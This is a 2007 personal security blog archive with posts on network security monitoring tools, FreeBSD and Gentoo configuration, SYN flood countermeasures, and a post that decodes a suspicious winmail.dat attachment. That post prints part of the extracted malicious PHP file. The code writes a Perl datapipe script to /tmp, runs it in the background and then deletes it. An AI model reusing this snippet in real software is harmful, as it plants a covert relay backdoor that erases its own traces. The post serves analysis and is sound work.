Saturday, April 14, 2007

Windows - Sec & User Tools

There are few tools that I would like to try out but it is only available on Windows platform. Guess I need to install Windows in VMware for testing. I haven't really touch anything on Windows lately except for Windows Server 2003. Anyway here are the lists of tools that seems to be interesting to me -

- Winfingerprint

- Showtraf

- Proconvert

- Dataecho

- Liveview

- Sipp

- DaD

- Inferno

- Pedorosa

- Console

- Launchy

- VirtualWin

- EmergeDesktop

- Mewa

I'm not promoting Windows OS here, but most of the tools here are freely available and open source and it makes no harm to try them out. Anyway if you have experiences in any of these tools, I would like to hear some feedbacks from you as I'm in the lazy moods to try them out.

Cheers ;]

Thursday, April 12, 2007

NSM - The History

Yes, this is not what I write, in fact I have stolen the post from taosecurity.blogspot.com.

Read it up ->>>>>

http://taosecurity.blogspot.com/2007/04/network-security-monitoring-history.html


I would love to know the background of the technology that I live with all the while. I bet you will find it informative and understand more about Network Security Monitoring.

Enjoy ;]

Wednesday, April 11, 2007

Welcome to Malaysia Botnets

http://star-techcentral.com/tech/story.asp?file=/2007/4/10/technology/17373874&sec=technology

Thanks to my friend who has sent me this link, it is about the survey that has been done by Symantec Malaysia. It has stated that 96% of the computers are zombies. I'm wondering whether they are trying to generate fears so that more people will buy their anti-virus solution or this is true, I'm probably happy to see we are top 7 in the list since that really shows Malaysia Can spirit.

Another interesting result from them should be 84 percent of emails from Malaysia are classified as spam, I'm really curious of how they are able to identify this portion as there's no perfect solution to identify or classify email with unsolicited intentions. Plus they are actually setting up decoy emails(honeypot alike) for this kind of identification which I don't think it can be any accurate.

"This and the high number of zombie machines in Malaysia is tarnishing the country's image". This is way too much of emphasizes, they are playing a big blames on the users, and most of the users not even know what is happening out there. They are just using the internet for surfing, doing some transactions and so forth.

"It said copies of pirated software sometimes contained trojans and other hidden malicious programs, and these are surreptitiously planted into computer systems when users installed the software". This is not the case, in my opinion as most of the users in Malaysia are using pirated softwares, it leads to a more of vulnerabilities in the applications softwares and operating systems itself as they can't patch it since they are not using the licensed or commercial version. That's what most malicious attackers targeting over the networks instead of just distribute it via the softwares/pirated CD that they buy which is more of blind attacks.

"An antivirus program is not enough, said Symantec. Users need a security solution that combines antivirus, firewall and intrusion detection capabilities". Okay, it is still back to the marketing sense, I expected that. But the truth is users are still vulnerable even with all those solutions been utilized, malicious attackers are way smarter to bypass most of them. You are trying to reduce the risk for users, however that won't work once internet browsers itself becoming victim as well. Combining with some social engineering tricks, users tend to be fooled without them knowing. And some of them just gotcha from USB thumb drives.

"Computer users should also be careful about disclosing confidential, personal or financial information online unless they know that the request for such is legitimate, cautioned Symantec". I doubt users will listen to this, this reminds me the presentation from Mikko - Education usually won't work.

Enough rant for now, thanks to Symantec for doing this kind of survey.

Enjoy ;]

Snort 3.0 Pre Alpha

Marty has recently released snort 3.0 pre alpha version, I'm curious to see what has been implemented in it so far, it should be worth to spend some times looking into it. To get snort 3.0 to installed on FreeBSD, it is kind of quicky.

Getting all the dependencies -

shel>pkg_add -vr libdnet

shell>pkg_add -vr lua51

Download snort 3.0 and install -

shell>wget http://www.snort.org/users/roesch/code/snort-03.0.0.a1.4.tar.gz

shell>tar xvzf snort-03.0.0.a1.4.tar.gz

shell>cd snort-03.0.0.a1.4

shell>./configure --prefix=/usr/local/stow/snort-03a14

shell>make && make install

Then copy the configuration files to the prefix directory manually -

shell>cp -fR etc ./usr/local/stow/snort-03a14

Running snort -

shell>cd /usr/local/stow/snort-03a14/bin

shell>./snort
[*] DAQ Modules Loaded...
[*] Loading decoder modules
[+] Loaded ethernet
[+] Loaded null
[+] Loaded arp
[+] Loaded ip
[+] Loaded tcp
[+] Loaded udp
[+] Loaded icmp
[+] Loaded icmp6
[+] Loaded gre
[+] Loaded mpls
[+] Loaded 8021q
[+] Loaded ipv6
[+] Loaded ppp
[+] Loaded pppoe
[+] Loaded raw
[*] Decoder initialized...
[*] Flow manager initialized...
[*] Data source subsystem loaded
[*] Engine manager initialized
[*] Loading command interface
[!] Loading sfips command metatable
[!] Loading data source command metatable
[!] Loading engine command metatable
,,_ -*> Snort! <*- o" )~ Version 03.0.0.a1.4 (Build 7) [PRE-ALPHA] '''' By Martin Roesch & The Snort Team: http://www.snort.org/team.html (C) Copyright 2006 Sourcefire Inc. Load its configuration file and you will get the snort CLI -

> dofile("../etc/snort.lua")

snort>

Looking for helps for the operation of snort 3 system?

snort> sfips.help()
[*] SFIPS Commands:
help()
set_log_level( [debug|info|notice|warn|error|critical] )
shutdown()

Shut it down gracefully

snort> sfips.shutdown()

I suggest you check out other useful functions at -

http://www.snort.org/users/roesch/Site/Snort%203.0.html


There will be some significant changes in snort 3.0 comparing to 2.x, thus it's good to get your hand dirty with it early. Lua scripting language seems to be interesting to learn.

Happy snorting! Oink oink ...

Cheers (;])

Thursday, April 05, 2007

HITB SEC CONF 2007 in DUBAI

Finally HITB SEC CONF 2007 in Dubai is over .....

I haven't have time to update my blog till today, the first two day before Conference, I was running a training with mel in Dubai, interestingly I have mix kind of people in my training class. I met guys from US Army and they are really cool folks, and most of people in the class are involved in network security field and that makes it more easy to run and involved.

Anyway the training was over, so the first day of conference topics cover various kind of areas. The keynote speech from Mikko(F-Secure) was decent, he has demonstrated F-Secure technology and how the online criminals can be operated via different kind of technologies and tricks around, I haven't really get into all the other talks but those should be interesting to listen to, I plan to download the presentation videos instead and watch it when I'm free. Anyway we have Capture The Flags Game going on simultaneously, there are totally 7 levels in the game and unfortunately no one has cracked the 0 level in the first but we think this is kind of fun. The game has nothing to do with network hacking but more on reverse engineering, looking for bugs in application(buffer/heap overflow, format strings and so forth), all the binaries will soon be published and anyone are welcomed to have fun with it.

The second day of conference started by the keynote speech from Lance Spitzner(if you don't know this guy and apparently you are not into information security world), he talked about honeypot technology. Another talk that I have listened to is Kernel Hacking: If I really know I can hack from Hc2c guys, Rodrigo Rubira Branco and Domingo Montanaro are really cool folks and both of them talked about Kernel IDS stuff, I got chance to talk with them and they are pretty interested in our CTF game as well. I'm looking forward to go to HC2Conference in Brazil if possible.

The CTF games end up without winners as no one has broken 4 levels in the game, however I guess this is good learning experience for everyone and thanks to all the participants and hopefully they have fun. Credits go to Mel, xWings and Rd who making the game happened.

While Rd can't make it to Dubai, we all love you!

Kudos to all HITB crews to make the event successful again.

Cheers ;]

Tuesday, March 27, 2007

You love SPAM, don't you?

I was wondering why this similar spam email can bypass google email filtering, and it seems the spammer applies the really simple method, there's no single word that can be filtered from the message, in fact the creative spammer just attached this small jpeg file which contains interesting link -


This is where curiosity kills :P


If you need it, feel free to buy. I'm out of this business.

Enjoy ;]

Friday, March 23, 2007

Kivio - My Home Network Diagram

There are not many alternatives available when comes to producing clean network diagram in Open Source Arsenal, I know many people like to use Microsoft Visio for its user friendliness and the stencil set that are rich and complete. For simplicity, I don't use any tools that are mentioned here either, in fact I use kivio which you can find here -

http://www.thekompany.com/projects/kivio/

The screenshot below shows the user interface of kivio, it is actually part of Koffice(with the prefix K as always), Of course I won't show how I use it to draw network diagram, it is so easy that you can quickly learn it by clicking - adding stencil, drag and drop, highlight and you are done.


Here's the network diagram that I have created for my home network with simple Network Security Monitoring deployment. I think you can draw more complicated network diagram once you are handy with it.

The network diagram looks clean right, you can just install kivio on Gentoo Linux with -

shell>sudo emerge -v kivio

Now you can start to get your hand dirty with the application.

Enjoy ;]

Thursday, March 22, 2007

FreeBSD Gstripe

I decided to try out raid0 with FreeBSD gstripe and it seems to be a pretty easy and quick setup. I have 6 disks in this setup, first one will be the primary and installed with the OS, and I will combine all the other 5 disks and building the raid0 with striping for it.

shell>gstripe label -v -s 131072 nsm \
/dev/ad2 /dev/ad3 /dev/ad4 /dev/ad5 /dev/ad6 /dev/ad7

I constructed UFS2 file system with soft-updates enabled.

shell>newfs -U /dev/stripe/nsm

After it is done, I just mount it to /nsm -

shell>mount /dev/stripe/nsm /nsm

Then enable gstripe on system boot -

shell>echo 'geom_stripe_load="YES"' >> /boot/loader.conf

Add it to mount on boot -

shell>echo '/dev/stripe/nsm /nsm ufs rw 2 2' >> /etc/fstab

Thanks to chflags for pointing out, I just did simple benchmarking and it is kinda impressive though.

shell>time dd if=/dev/zero of=/nsm/test.img bs=1M count=1024
1024+0 records in
1024+0 records out
1073741824 bytes transferred in 8.884599 secs (120854281 bytes/sec)

real 0m8.907s
user 0m0.001s
sys 0m5.446s

Cheers ;]

Network Interface: Watchdog Timeout

My Sguil Demo Server is down, as I have no luck to recover it from hardware failure(something to do with mobo) as it is very old by now. I have unplugged the hard drive and insert it into another Pentium 3 box which was lying around.

Wonderfully, it seems that the OS boots up properly, and in less than 5 minutes, I see this error -

rl0: watchdog timeout

I'm thinking that maybe problem of the network interface, I swap it and change the network interface to another network interface which is xl0 in FreeBSD, reboot again and I see this -

xl0: watchdog timeout

As long as I bring up the interface, it shows watchdog timeout, I try to navigate my irq setting in bios but it seems alright, at last I try to google for luck and I found this link -

http://www.linuxquestions.org/questions/showthread.php?t=519599

I tried to boot it without acpi, and the watchdog timeout message is gone and now the network interfaces work properly. However it is cumbersome as it is always boot with acpi enabled, hence I need to add this one liner to disable acpi on boot -

shell>echo 'hint.acpi.0.disabled=1' > /boot/loader.conf

Everything seems to be all right now, and I have change my Sguil setup as well. Using daemonlogger, I have exported the pcap file from my home router to the sguil box. Sguil box has two network interfaces, one(promisc) will intercept the pcap data that transmitted by daemonlogger and another will be management interface where everyone can connect to.

Kudos to myself that the demo server is up again!

Cheers (;])

Wednesday, March 21, 2007

G Hotel

I just been to the seminar that organized by Mutiara Company, it is held at here -

http://www.ghotel.com.my/

The seminar is targeting Small & Medium Industry, seriously I'm not really interested in it as it is more business centric than discussing about the technology itself.

However I really love this hotel, the design rocks.

Cheers ;]

Sguil: New Face

Sguil has new face now, comparing to the old face, this looks more cleaner! You can check it out here -

http://sguil.sf.net


Enjoy ;]

Monday, March 19, 2007

Syn DOS: Countermeasures

I just got chance to read the Internet Protocol Journal that sent to me which you can find it here. The topic regarding "Defenses against TCP Syn Flooding Attacks" looks interesting to me, it discussed about multiple syn flooding types and the host/network based countermeasures against TCP Syn Flooding.

For the network based countermeasures, it seems to be very popular these days to shut down mass ddos attacks. Ingress filtering and inline(firewall/proxy) are preferred methods when defending against ddos attack. Since I love OpenBSD PF, I would suggest you take a look at these two links which offer you similar defending mechanisms but cost you almost nothing -

http://www.openbsd.org/faq/pf/filter.html#urpf

http://www.openbsd.org/faq/pf/filter.html#synproxy

About host based countermeasures, it introduces syn cache and syn cookies, I have never understood that much about how actually syn cache or cookies works until I have read it, however if you want to know more about it, you can download another paper which explaining the implementation of both mechanisms -

http://www.ece.cmu.edu/~adrian/731-sp05/readings/lemon-syn-cache.pdf

I checked out the sysctl of my FreeBSD box -

shell>sysctl -a | egrep 'syn(cache|cookie)'
syncache 1 8K - 1
syncache: 100, 15366, 0, 117, 3284
net.inet.tcp.syncookies: 1
net.inet.tcp.syncache.bucketlimit: 30
net.inet.tcp.syncache.cachelimit: 15359
net.inet.tcp.syncache.count: 0
net.inet.tcp.syncache.hashsize: 512
net.inet.tcp.syncache.rexmtlimit: 3

Interestingly, both are implemented in FreeBSD. Clear enough, you don't really need 999999999999 dollars to implement and build effective mechanisms to defend against DDOS, remember Open Source is always your friend.

Enjoy ;]

Saturday, March 17, 2007

Some Notifications

Currently my sguil demo server is down, if you have difficulty in connecting to my demo server, please be patient. The problem due to the hardware failure and I will fix it when I have time(probably next week).

Another thing should be the dead link to www.dissectible.org. I have shifted it and it is now having a new name called www.rawpacket.org. Many people unable to find the stuffs that I have uploaded previously and it is now at -

http://www.rawpacket.org/anonymous/

If any of you are good web developer, and you would like to contribute to open source and security community, please do contact me as I really need some helping hands. You can reach me at -

geek00l[at]gmail[dot]com

Enjoy ;]

Thursday, March 15, 2007

Daemonlogger: let's log

Marty(Snort) has written a packet logger/soft tap which is called daemonlogger where you can download here -

http://www.snort.org/dl/daemonlogger/daemonlogger-0.7.tar.gz

I haven't looked into it yet until I have talked to him today, thus I just downloaded and installed it with pretty straight forward steps -

shell>./configure --prefix=/usr/local/stow/daemonlogger-0.7

shell>make && make install

shell>cd /usr/local/stow

shell>stow daemonlogger-0.7

Checking daemonlogger version -

shell>daemonlogger -v

-*> DaemonLogger <*- Version 0.7 By Martin Roesch (C) Copyright 2006-2007 Sourcefire Inc., All rights reserved

shell>daemonlogger -h

USAGE: daemonlogger [-options]
-c Log packets and exit
-d Daemonize at startup
-f Load BPF filter from
-h Show this usage statement
-i Grab packets from interface
-l Log to directory
-m Generate log files and quit
-n Set output filename prefix to
-o Disable logging, retransmit data from
to
-p Use (path and filename)
-s Rollover the log file every
-t Rollover the log file every
-v Show daemonlogger version

shell>daemonlogger -i rl1 -o vr0 -p /nsm/daemonlogger-rl1.pid -d
[-] Interface set to rl1
[-] Tap output interface set to vr0[-] Pidfile configured to "/nsm/daemonlogger-rl1.pid"
[-] Daemon mode set

-*> DaemonLogger <*- Version 0.7 By Martin Roesch (C) Copyright 2006-2007 Sourcefire Inc., All rights reserved trinity:/nsm# tcpdump -i vr0 tcpdump: WARNING: vr0: no IPv4 address assigned tcpdump: listening on vr0, link-type EN10MB 17:44:22.340032 pr-in-f19.google.com.www > 192.168.0.155.2660: P 4107897218:4107897246(28) ack 3442614823 win 7200
17:44:22.340042 192.168.0.155.2660 > pr-in-f19.google.com.www: . ack 28 win 7504 (DF)
17:44:25.340047 192.168.0.155.4024 > pr-in-f19.google.com.www: . 4081159920:4081161360(1440) ack 3322996791 win 44330 (DF)
17:44:25.340062 192.168.0.155.4024 > pr-in-f19.google.com.www: P 1440:1766(326) ack 1 win 44330 (DF)
17:44:25.340073 192.168.0.155.1617 > zelazny.freenode.net.6667: P 1979289541:1979289553(12) ack 1468261941 win 16022 (DF)

The daemonlogger also supports pcap file rollver based on size and time, this is pretty useful to avoid writing external support scripts for it. I like this similar feature since I have used tethereal.

You can also deploy similar kind of setup that has been done by Richard which is described here using PF or in his Extrusion Detection book -

http://taosecurity.blogspot.com/2005/07/distributed-traffic-collection-with-pf.html

Just build a router box with 4 Network Interfaces(sk0-sk3) -

Router
External Interface(sk0) - Internet Facing
Internal Interface(sk1) - Internal Network

Soft tap
sk2 - Only watches port 80 traffics
sk3 - Monitor everything except port 80

Writing simple bpf filter to the file -

shell>echo 'port 80' > sensor-sk2.fil

shell>echo '! port 80' > sensor-sk3.fil


Running daemonlogger in soft tap mode -

shell>daemonlogger -f sensor-sk2.fil -i sk0 -o sk2 -d

shell>daemonlogger -f sensor-sk3.fil -i sk0 -o sk3 -d

All the port 80 traffics wil be transmitted to sk2 interface and the rest will be transmitted to sk3 interface. It is so simple to build distributed sensor/traffic collectors with daemonlogger.

Done.

Tag Richard's words -
One would have hoped the Pf dup-to function could send traffic to directly connected interfaces without the involvement of any IP addresses. Unfortunately, my testing revealed that assigning IP addresses to interfaces on both sides of the link is required.

The answer is daemonlogger, have fun!

Enjoy
(;])

Tuesday, March 13, 2007

Linux: Mac Filtering

I remember I have used OpenBSD in network bridge mode for Mac Address Filtering. I'm wondering is there possible to do Mac Address Filtering on Linux, and apparently it is not too hard once I have figured it out, it is pretty straight forward with quick kernel recompiling. Here's my note of doing it on Gentoo linux -

Checking if it is already compiled as module -

shell>egrep -i 'mac' /usr/src/linux-2.6.19-gentoo-r5/.config

CONFIG_NETFILTER_XT_MATCH_MAC=m

Since it is there, I need to know the module name, to locate it -

shell>sudo find /lib/modules/2.6.19-gentoo-r5/ -type f -name '*mac*'
/lib/modules/2.6.19-gentoo-r5/kernel/net/netfilter/xt_mac.ko

Loading the LKM -

shell>sudo modprobe xt_mac

Checking to see if the module is loaded properly -

shell>lsmod
Module Size Used by
xt_mac 2048 0
x_tables 14852 1 xt_mac

Now I just need to add it as well as the userland tool for netfilter - iptables since it is needed.

shell>echo "xt_mac" >> /etc/modules.autoload.d/kernel-2.6

shell>echo "iptable_filter" >> /etc/modules.autoload.d/kernel-2.6

Installing iptables userland tool -

shell>sudo emerge -v iptables

Once all the stuffs needed are loaded, we can start to test on the Mac Address Filtering. To block every single bits from the host with mac address 00:19:D1:2F:71:B5, I just run this -

shell>sudo iptables -A INPUT -m mac --mac-source 00:19:D1:2F:71:B5 -j DROP

That's pretty straight forward. To flush the INPUT chain after testing -

shell>sudo iptables -F INPUT

This is just quicky, hopefully I can get more handy later on iptables because I haven't used it for quite sometimes.

Enjoy ;]

Saturday, March 10, 2007

FreeBSD Openntpd

Previously I have shown the Openntpd setup on Gentoo, here's how you can quickly set it up on FreeBSD. Please do take note that this is more of ntp client type setup.

shell>pkg_add -vr openntpd

Configuring Openntpd by editing /usr/local/etc/ntpd.conf, just comment out the default ntp server and add the ntp server you want.

# sync to a single server
#server ntp.example.org

server ntp.jaring.my
server ntp.time.net.my

Add this one liner to /etc/rc.conf for it to run on system boot -

openntpd_enable="YES"

Start Openntpd manually now -

shell>/usr/local/etc/rc.d/openntpd.sh start

Done.

Enjoy :]

Friday, March 09, 2007

BackTrack 2 Sec LiveCD

For people who didn't notice, BackTrack 2 Sec LiveCD is out, you can check it out at -

http://www.remote-exploit.org/backtrack.html

Other than the LiveCD itself, I found the Codes&Tools and Research section pretty interesting especially the one that introducing wireless filter for ethereal/wireshark where you can find here -

http://www.remote-exploit.org/research/etherealwirelessfilters.html

Just download it now and you are fully equiped with all the useful security tools.

Peace ;]

Sguil Current - Demo Server

You may have noticed that the Sguil demo server that I run in dead state for quite sometimes. With some clues from Bamm, I able to get Sguil in CVS up and running, all of you are welcomed to test it out again, however you need sguil client in latest CVS as well in order to connect the Sguil demo server.

The Sguil demo server details are shown below -

Hostname: nsm.kicks-ass.org

Port:7734

Username: ninja

Password: blank

If you have sguil client crashes when playing around with it, please do save the error messages to the log and send it to sguil mailing list.

Here's the quick screenshots, you may notice that now all the agents are separated. The biggest feature in the Sguil Current should be PADS integration, you may see the PADS entries in the third pane.

New sguil client console

Sguil server and sensor Agents processes

Have fun!

Cheers :]

Friday, March 02, 2007

NSM: Trafshow vs Iftop

While we have many choices in Open Source world, it is tricky to choose a right one, everything down to the feet of what you want to do with it. There are many tools I like when monitoring network flow statistic in real time that are considered non-web based but cursed. However here I would like to make a comparison between two interesting tools which are trafshow and iftop.

Trafshow offers few unique functions that is are available via other tools, it has the features below -

- Colorization
- flow aggregation based on netmask length -a|A
- string tracing /|Ctrl-/
- bpf filter expression on the fly -f|F
- import cisco netflow data -u 9995
- hex data view on the fly

To learn how trafshow works, when we run trafshow without any arguments, it will monitor all the network interfaces available to you, you need to choose one to monitor.

shell>trafshow

Interface Address Description

em0 0:11:22:33:44:55 Ethernet
rl0 0:22:33:44:55:66 Ethernet
sk0 0:33:44:55:66:77 Ethernet
lo0 127.0.0.1 Loopback

By default it will aggregate the traffics based on guessed network id, here's the screenshot -


Thus if you want the exact ip address shown in trafshow, you need to run with netmask length of 32 -

shell>trafshow -a 32

The flexibilities of flow aggregation based on netmask length allows you to monitor the traffic from networks to networks and nodes to nodes, this creates very powerful capabilities when combining with the bpf filter expression, you can specify bpf filter expression by reading it from a file using -F, the good thing about it is that you can also directly inject the bpf filter expression by pressing f key when you are in trafshow monitor console.

Filter expression:port 80

Trafshow stores its color attributes in either /usr/local/etc/trafshow or ~/.trafshow. You can tune them easily, I always like to tune it for better view of the traffic, for example if I would like to watch the outgoing traffic from my DMZ network(172.16.1.0/24) for possible extrusion, I can just add this few lines to the configuration file -

# Private IP Addresses will be alarmed by Red foreground.
# Source Destination Color

172.16.1.0/24 any Red
any 172.168.1.0 Blue


With this kind of setup, all incoming traffics will be in blue colour and outgoing traffics will be in red, other useful color tuning will be based on port, if you want to monitor your network in case they are connecting to the irc bot network, you can specify -

6667 cyan # irc
6668 cyan # irc


Again you can easily combine features in trafshow to make more sense in monitoring, just specify this filter in trafshow monitor helps a lot -

Filter expression: src net 172.168.1.0/24 and dst portrange 6660-6670


Another useful function is string tracing, you can specify string that found in the traffic flow and keep watching it, just press / key and specify it, for example -

/yahoo

If yahoo string is shown in trafshow monitor, it will be highlighted all the while and you can easily keep your eye on it. You can disable it by pressing Control /.

I have actually inteprete Cisco Netflow using -u option before, it works pretty well though. Since I didn't take a screenshot previously, thus I can't show it here. There are many functions in trafshow that you can easily enable and disable using toggle key such as name/port resolution can be enabled or disabled via n key, changing netmask length via A key and so forth.

The last feature that I found really powerful is the traffic hex view, this gives you the feeling of MATRIX movies especially when you catch traffics that are considered malicious, here's the screenshot I have, you just need to press enter after choosing the traffic flow in order to access the network stream -


Iftop on the other hand offers the functions below -

- src|dst aggregation s|d
- logarithmic traffic bar -b
- bits|bytes per how many seconds cycle -B
- net filter(bpf filter expression) -f|f
- screen filter(regex expression) l

The main configuration of iftop is ~/.iftoprc, if you have multiple network interfaces in the same host that monitoring different networks, I suggest you put all the configurations in .iftoprc except interface and net-filter variable, you can learn more about it by reading the man page of iftop. Then putting iftop commands in different scripts for different network interfaces, for example -

shell>echo 'iftop -i eth0 -F 172.16.1.0/24' > iftop-eth0

shell>echo 'iftop -i eth1 -F 172.16.2.0/24' > iftop-eth1

shell>chmod +x iftop-eth*

Now you just run the script for the interface you want to monitor. All other attributes are better to be stored in ~/iftoprc, you can easily tune it for your network environment.

There's one feature I like about iftop, the traffic bar(white color) where it shows the logarithmic scale, you can easily identify which host are consuming more bandwidths in current time. Here's the screenshot -


If you just want to view the aggregated traffics from either source or destionation, trigger s or d in iftop monitor console will do. This allows you to monitor total bandwidths of certain source/destination IP per any port. The dns resolution can be turn on or off by pressing n key. You can also change to show the bits/bytes per how many seconds, it offers 2s, 10s and 40s cycle.

Similar to trafshow, it has net filter where you can either specify it using -f in command line option or pressing f key to enter the bpf filter expressions, for example -

Net filter > port 53

Now you can just monitor dns traffic. For the screen filter which allows you to use regular expressions, it works similarly to trafshow strings search too, you just need to press l key in iftop monitor and it will show -

Screen filter> smtp

This will allows you to look at the smtp traffic if you have mail traffics flowing around.

Sometimes you prefer to run iftop with proper options in command line instead of changing its behaviour in the iftop monitor, you can do so. For example you want to apply bpf filter for ftp traffic.

shell>iftop -i rl0 -f port 20 or 21 -F 192.168.5.0/24
iftop: found arguments following options
*** some options have changed names since v0.9 ***
iftop: display bandwidth usage on an interface by host

Synopsis: iftop -h | [-npbBP] [-i interface] [-f filter code] [-N net/mask]

-h display this message
-n don't do hostname lookups
-N don't convert port numbers to services
-p run in promiscuous mode (show traffic between other
hosts on the same network segment)
-b don't display a bar graph of traffic
-B Display bandwidth in bytes
-i interface listen on named interface
-f filter code use filter code to select packets to count
(default: none, but only IP packets are counted)
-F net/mask show traffic flows in/out of network
-P show ports as well as hosts
-m limit sets the upper limit for the bandwidth scale
-c config file specifies an alternative configuration file

iftop, version 0.17

It seems doesn't work and show all the command options instead, thus I tried to enclose it with single quote -

shell>iftop -i rl0 -f 'port 20 or 21' -F 192.168.5.0/24

Here's it goes, it works properly and check out the screenshot -


Overall trafshow has almost all the features that are available in iftop, I prefer trafshow as it has the colorization feature and the capability to read netflow data, this is making reactive network security monitoring can be done without much delays, the hex data view of network stream also makes it terrific in performing real time incident response(You are not watching flow statistic only but full content data in real time). The only advantage of using iftop over trafshow should be the traffic direction that shown in the monitor, this makes a lot of sense when you want to monitor the traffic and it is more bidirectional oriented.

Both tools are incredibly useful and have their pros and cons. At the end, it is about preference sometimes.

Peace (;])

Thursday, March 01, 2007

Transport Neutral Encapsulation Format

Someone has sent this file to me and telling me that something is wrong with this file, the file name is winmail.dat. I was wondering what's is contained in the file and as usual I check on the file type -

shell>file winmail.dat
winmail.dat: Transport Neutral Encapsulation Format

I haven't seen this file type before, while I'm wondering why, wiki seems to answer my question in pretty details -

http://en.wikipedia.org/wiki/Transport_Neutral_Encapsulation_Format


Okay, so I have never been a Outlook user, now I need to look at how to decode the file properly, I found this simple trick using tnef,

shell>eix tnef


net-mail/tnef
Available versions: 1.3.3 1.3.4 ~1.4.3
Installed: 1.3.4(18:07:41 02/22/07)
Homepage: http://world.std.com/~damned/software.html
Description: Decodes MS-TNEF MIME attachments

Eix is gentoo tool that similar to debian apt-cache which allows you to search for the applications in the portage, installing it is pretty quick -

shell>emerge -v tnef


Once it is installed, I can easily list the attachment in the TNEF file -

shell>tnef -f winmail.dat -t

css.php

To extract the attachment and save the message in the body into the desired directory, I just need to run -

shell>tnef -f winmail.dat --save-body -C tnef-dir/

shell>cd tnef-dir/

shell>/tnef-dir $ ls -al

total 100
drwxr-xr-x 2 geek00l geek00l 4096 Feb 22 18:17 .
drwxr-xr-x 44 geek00l geek00l 4096 Feb 22 18:10 ..
-rw-r--r-- 1 geek00l geek00l 82942 Feb 22 18:17 css.php
-rw-r--r-- 1 geek00l geek00l 1454 Feb 22 18:17 message.rtf

Here's the partial contents in css.php that looks interesting -

if(is_writable("/tmp")){
$fp=fopen("/tmp/nst_perl_datapipe.pl","w");
fwrite($fp,"$datapipe_pl");
passthru("perl /tmp/nst_perl_datapipe.pl &");
unlink("/tmp/nst_perl_datapipe.pl");
}else{
if(is_writable(".")){
mkdir(".nst_datapipe_tmp");
$fp=fopen(".nst_datapipe_tmp/nst_perl_datapipe.pl","w");
fwrite($fp,"$datapipe_pl");
passthru("perl .nst_datapipe_tmp/nst_perl_datapipe.pl &");
unlink(".nst_datapipe_tmp/nst_perl_datapipe.pl");
rmdir(".nst_datapipe_tmp");
}
}


I just learned the new file format and the way to read TNEF file without using Windows, have fun!

Enjoy (;])

Wednesday, February 21, 2007

Applications Font

When I first installed ktorrent and keepassx on my laptop, the font seems to be very small, I tried to figure out where to change the font but seems unable to find any solid solution except this -

http://www.digikam.org/?q=node/160

However once I have changed the font type and size using kcontrol, the changes only applied to ktorrent, keepassx is still using very small font that hurts my eyes. Since most of the kde based apps are written using qt toolkit, I decided to run qt and tab to see if any application are available to change qt setting, I found there is qtconfig and decided to run it -

shell>qtconfig


In fact qtconfig is the gui configuration for qt, I tried to change the font type and size again this time. And running keepassx again, the font has changed based on the configuration I applied. I'm not kde user but since I have used some of kde based applications, I think this is good trick to share. For users who want to change their GTK applications attributes, you can try out gtk-chtheme.

Peace ;]

Gentoo Truecrypt

I would like to encrypt my usb pen drive, not because I'm paranoid enough but usb pen drive is small and it is very easy that you might forget to bring it along somewhere and lost it. I decided to use truecrypt so that it is accessible on both Windows/Unix platform. In fact getting truecrypt to work on Gentoo is pretty straight forward.

Installing truecrypt -

shell>emerge -v truecrypt


Load it as kernel module at boot -

shell>sudo echo "truecrypt" /etc/modules.autoload.d/kernel-2.6

shell>sudo modprobe truecrypt

When I plugged in my usb pen drive, I checked the dmesg output -
usb 1-3: new high speed USB device using ehci_hcd and address 5
usb 1-3: configuration #1 chosen from 1 choice
scsi2 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 5
usb-storage: waiting for device to settle before scanning
scsi 2:0:0:0: Direct-Access USB DISK Pro PMAP PQ: 0 ANSI: 0 CCS
SCSI device sdb: 4012032 512-byte hdwr sectors (2054 MB)
sdb: Write Protect is off
sdb: Mode Sense: 23 00 00 00
sdb: assuming drive cache: write through
SCSI device sdb: 4012032 512-byte hdwr sectors (2054 MB)
sdb: Write Protect is off
sdb: Mode Sense: 23 00 00 00
sdb: assuming drive cache: write through
sdb: sdb1
sd 2:0:0:0: Attached scsi removable disk sdb
sd 2:0:0:0: Attached scsi generic sg1 type 0
usb-storage: device scan complete

Creating truecrypt volume for the whole usb pen drive -

shell>sudo truecrypt --type normal -c /dev/sdb1
Filesystem:
1) FAT
2) None
Select [1]:

Hash algorithm:
1) RIPEMD-160
2) SHA-1
3) Whirlpool
Select [1]:

Encryption algorithm:
1) AES
2) Blowfish
3) CAST5
4) Serpent
5) Triple DES
6) Twofish
7) AES-Twofish
8) AES-Twofish-Serpent
9) Serpent-AES
10) Serpent-Twofish-AES
11) Twofish-Serpent
Select [1]: Blowfish

Enter password for new volume '/dev/sdb1':
Re-enter password:
Passwords do not match.

Enter password for new volume '/dev/sdb1':
Re-enter password:
Enter keyfile path [none]:

TrueCrypt will now collect random data.

Is your mouse connected directly to computer where TrueCrypt is running? [Y/n]: Y

Please move the mouse randomly until the required amount of data is captured...
Mouse data captured: 100%

Done: 1957.09 MB Speed: 3.27 MB/s Left: 0:00:00
Volume created.

Or you can just run this command to create the volume without interaction, choose the encryption method you want to use -

shell>sudo truecrypt --type normal --encryption Blowfish --hash RIPEMD-160 --filesystem FAT -c /dev/sdb1

After you have created the truecrypt volumne. Then umount all mapped truecrypt volume and mounting it to directory you want -

shell>sudo truecrypt -d

shell>sudo mkdir /mnt/tc-usbmini

shell>sudo truecrypt -u /dev/sdb1 /mnt/tc-usbmini


Done. Now your data in the usb drive won't be revealed by average people who have taken or stolen it.

Enjoy (;])

Sunday, February 18, 2007

Decoding JS

I haven't done anything on decoding Java Scripts heavily yet, and this link appears to be very interesting and helpful to me.

http://isc.sans.org/diary.html?storyid=2268


If anyone know other methods, that would be good to share it out loud.

Cheers ;]

Gentoo: Mounting UFS2

The other day I have problem when mounting my USB pendrive and I have no time to check and fix it. Then I decide to take a look today. I plug in my new USB pendrive, and run dmesg -

usb 1-3: new high speed USB device using ehci_hcd and address 4
usb 1-3: configuration #1 chosen from 1 choice
scsi2 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 4
usb-storage: waiting for device to settle before scanning
scsi 2:0:0:0: Direct-Access USB DISK Pro PMAP PQ: 0 ANSI: 0 CCS
SCSI device sdb: 4012032 512-byte hdwr sectors (2054 MB)
sdb: Write Protect is off
sdb: Mode Sense: 23 00 00 00
sdb: assuming drive cache: write through
SCSI device sdb: 4012032 512-byte hdwr sectors (2054 MB)
sdb: Write Protect is off
sdb: Mode Sense: 23 00 00 00
sdb: assuming drive cache: write through
sdb: sdb1
sd 2:0:0:0: Attached scsi removable disk sdb
sd 2:0:0:0: Attached scsi generic sg1 type 0
usb-storage: device scan complete
